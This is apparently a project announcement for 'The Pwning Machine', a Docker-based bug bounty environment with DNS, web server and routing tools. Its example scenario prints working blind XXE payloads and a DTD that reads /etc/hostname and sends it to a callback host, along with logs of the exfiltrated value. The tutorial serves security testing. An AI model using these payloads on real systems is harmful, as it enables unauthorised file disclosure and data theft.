Presenting The Pwning-Machine, a versatile and easy to setup Bug bounty environment.
Today web services are no longer huge monolithic block, we live in the days of containers and micro services. This change in the application development world also change the way we search and exploit vulnerabilities. Detection and Exploits become more a more complex and often rely on out-of-band exploitation, such as :
- blind XSS to admin panel takeover
- SSRF to DC takeover
- Second order RCE
But setting up and maintaining an environment to do this can be tedious and time consuming, so bug bounty hunters turn to third party services to do theirs testings. We can see a lot of reports using tools such as XSSHunter or BurpCollaborator, while those tools do great at their job they fail to provide the privacy often required by private bug bounty programs.
Introducing The Pwning Machine, an easy to setup and maintain bug bounty environment. An all-in-one, customizable and extensible suite of tools required by all serious hunters.
The Pwning Machine is a bug bounty hunting environment
In less than 10 minutes, anyone can set up a Docker-based environment on a dedicated server.
Out of the box the Pwning machine come with a DNS server, an http router, a web server, and a pipeline runner.
Out-of-the-box functionalities
DNS:
POWERDNS with a simple api to manage rules via command line:
> pm dns add local.example.com A 127.0.0.1
Web Server:
A NGINX server is booted along with a handy mapping from hostname to path logic.
For example if you want to handle request on
https://tooling.example.com/dashboard/index.php
you can just put your php files in
/var/www/example.com/tooling/dashboard/index.php
HTTP Router:
Traefik handles all incoming http(s) traffic and forwards it to the right container, while automatically taking care of your ssl certificates.
Setting up a domain for a new http service is as simple as filling this yaml config file:
services:
web:
https:
domains:
- example.com
- *.example.com
http:
domains:
- unsafe.example.com
The pipeline runner [in developement]
The pipeline runner is an actively developped feature that will allow you to run predefined tasks sequences directly on you server. One simple example would be to have a first task that does DNS enumeration, takes the domain list and passes it to another task that will check the domain for http services, and finally forwards it for a last task that will screenshot that page.
The pipeline runner allows to build complex and powerful sequences with small building block, thus allowing you to slash the hassle of issuing tiedous and repetitive command sequences. You can think of it as the CI pipeline from Gitlab.
Example scenario
Here is a scenario using only the core features of pwn-machine.
Imagine you found a endpoint accepting XML and your want to test XXE, but it’s completely blind.
The first thing you might do is submitting a simple payload with an external entity…
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://callback_check.example.com/"> %ext;
]>
<r></r>
… and wait for a callback in your dns logs.
$ pm service logs -f powerdns --tail 5
pdns_1 | Jun 19 11:16:33 Remote x.x.x.x wants 'www.example.com|A', do = 0, bufsize = 512: packetcache MISS
pdns_1 | Jun 19 11:16:33 Remote x.x.x.x wants 'ns.example.com|A', do = 0, bufsize = 512: packetcache MISS
pdns_1 | Jun 19 11:18:16 Remote x.x.x.x wants 'ns.example.com|AAAA', do = 1, bufsize = 1232 (4096): packetcache MISS
pdns_1 | Jun 19 11:18:16 Remote x.x.x.x wants 'ns.example.com|A', do = 1, bufsize = 1232 (4096): packetcache MISS
pdns_1 | Jun 19 11:18:16 Remote x.x.x.x wants 'callback_check.example.com|A', do = 1, bufsize = 1232 (4096): packetcache MISS
We got a hit! That means the endpoint is vulnerable. Let’s try to do some file reading.
To do so we need to host a dtd file on our domain.
$> # First we mount the web server volume localy
$> pm volume mount webroot
Volume 'webroot' mounted on '/tmp/example.com-webroot-8azk6vfx'.
Exit this shell (ctrl+d) to unmount.
webroot $> # we want our file to be accessible via https://xxe.example.com/file_read.dtd
webroot $> cd example.com/xxe
webroot $> cat << 'EOF' > file_read.dtd
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://callback.example.com/?%file;'>">
%all;
EOF
webroot $> # When we are done, just exit the shell to unmount the volume
webroot $> exit
$>
Our dtd is ready, we need to use another XML payload to actually load it.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "https://xxe.example.com/file_read.dtd">
<data>&send;</data>
Then you can look at the nginx logs to see first the GET on the dtd file on xxe.example.com then the exfiltrated file as a pathname on callback.example.com
$> pm service logs -f web-nginx --tail 2
nginx_1 | xxe.example.com 0.0.0.0 [19/Jun/2020:11:38:51 +0000] "GET /file_read.dtd HTTP/1.1" 200 "-" "TURBO XML 2000"
nginx_1 | callback.example.com 0.0.0.0 [19/Jun/2020:11:38:52 +0000] "GET /3288f6291315 HTTP/1.1" 200 "-" "TURBO XML 2000"
You successfully read a file on the remote host, here /etc/hostname
is 3288f6291315
, this is probably a docker container.
Each module is run via the simple builtin pm command
The pm shell is where you administer the Pwn-Machine
> pm --help
Usage: pm [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
container Manage containers
dns Manage DNS
env Display the commands to set up the environment for the Docker...
ps List services
service Manage Services
setup Setup pwn machine
ssh SSH to the host
version Show version
volume Manage Volumes
The Pwn-Machine is a collaborative environment
This project, while functional and effective, still is at an early stage. You are more than welcomed to fork, develop, and amend the codebase on the project Github